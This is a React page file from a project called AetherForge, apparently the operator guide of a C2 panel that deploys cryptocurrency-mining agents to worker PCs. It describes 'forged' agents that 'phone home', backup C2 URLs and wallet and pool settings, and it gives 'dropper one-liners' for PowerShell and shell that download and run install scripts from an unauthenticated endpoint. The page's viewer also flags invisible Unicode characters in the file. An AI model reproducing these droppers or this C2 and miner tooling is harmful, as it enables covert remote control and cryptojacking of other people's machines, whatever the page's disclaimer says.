Files
AetherForge/server/web/src/pages/GuidePage.tsx
AetherForge 1413a9394f Add pool presets, operator bake-ins, and USB pack improvements
- Pool preset checkboxes with failover in Calibrate and Forge

- Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt

- USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
2026-06-01 21:06:19 -07:00

231 lines
10 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { Link } from 'react-router-dom';
import NeonCard from '../components/NeonCard/NeonCard';
import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
type CheatStep,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
PipelineFlow,
RoadmapGrid,
} from '../components/Visual/VisualComponents';
import './Pages.css';
/** Inline code block with copy button */
function CodeBlock({ code }: { code: string }) {
const copy = () => navigator.clipboard?.writeText(code);
return (
<div className="guide-code-block">
<pre className="guide-code-pre">{code}</pre>
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
Copy
</button>
</div>
);
}
/** A single step card — shows body, tips, optional code example, optional nav button */
function StepCard({ step }: { step: CheatStep }) {
return (
<div className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} <span className="guide-step-sub"> {step.subtitle}</span></h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => <li key={t}>{t}</li>)}
</ul>
)}
{step.code && <CodeBlock code={step.code} />}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
);
}
/** ASCII topology diagram — home LAN control deck */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ Control PC (USB portable or dev install) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ Dashboard: http://localhost:8989 │ │',
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' └────────────────────────────│─────────────────────────────────────────┘',
' │ LAN http://192.168.x.x:8989',
' ┌────────────────┼────────────────┐',
' ▼ ▼ ▼',
' [Worker PC] [Worker PC] [Worker PC]',
' forged agent forged agent forged agent',
' phones home phones home phones home',
];
return (
<div className="guide-topology">
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
</div>
);
}
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Everything you need pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
</p>
</div>
</header>
{/* ── Live pipeline ── */}
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
<span className="section-line" />
</h2>
<PipelineFlow />
</NeonCard>
{/* ── Network topology ── */}
<NeonCard accent="amber" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Network topology
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>Home LAN setup</h4>
<ul className="guide-tips">
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
<li>
<Link to="/settings" className="guide-link">Calibrate</Link> Use detected LAN Use best defaults Save
</li>
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
</ul>
<CodeBlock code={`# Typical flow:
LAUNCH.bat
# Browser: http://localhost:8989
# Calibrate public URL: http://192.168.1.50:8989
# Forge control endpoint: same LAN URL`} />
</div>
</div>
</NeonCard>
{/* ── Forge vs Calibrate ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate what goes where
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{/* ── Dropper one-liners quick-ref ── */}
<NeonCard accent="green" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Dropper one-liners
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first replace the host with your
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
http://192.168.1.50:8989/get?os=linux
http://192.168.1.50:8989/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
</p>
</NeonCard>
{/* ── Detailed section steps ── */}
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
</section>
))}
{/* ── Step-by-step pipeline detail ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (pipeline detail)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
</section>
{/* ── Troubleshooting ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
<span className="section-line" />
</h2>
<NeonCard accent="amber">
{TROUBLESHOOTING.map((t) => (
<div key={t.problem} className="trouble-card">
<strong>{t.problem}</strong>
<span>{t.fix}</span>
</div>
))}
</NeonCard>
</section>
{/* ── Roadmap ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Feature status
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped (high), in progress (medium), and planned (low) capabilities.
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}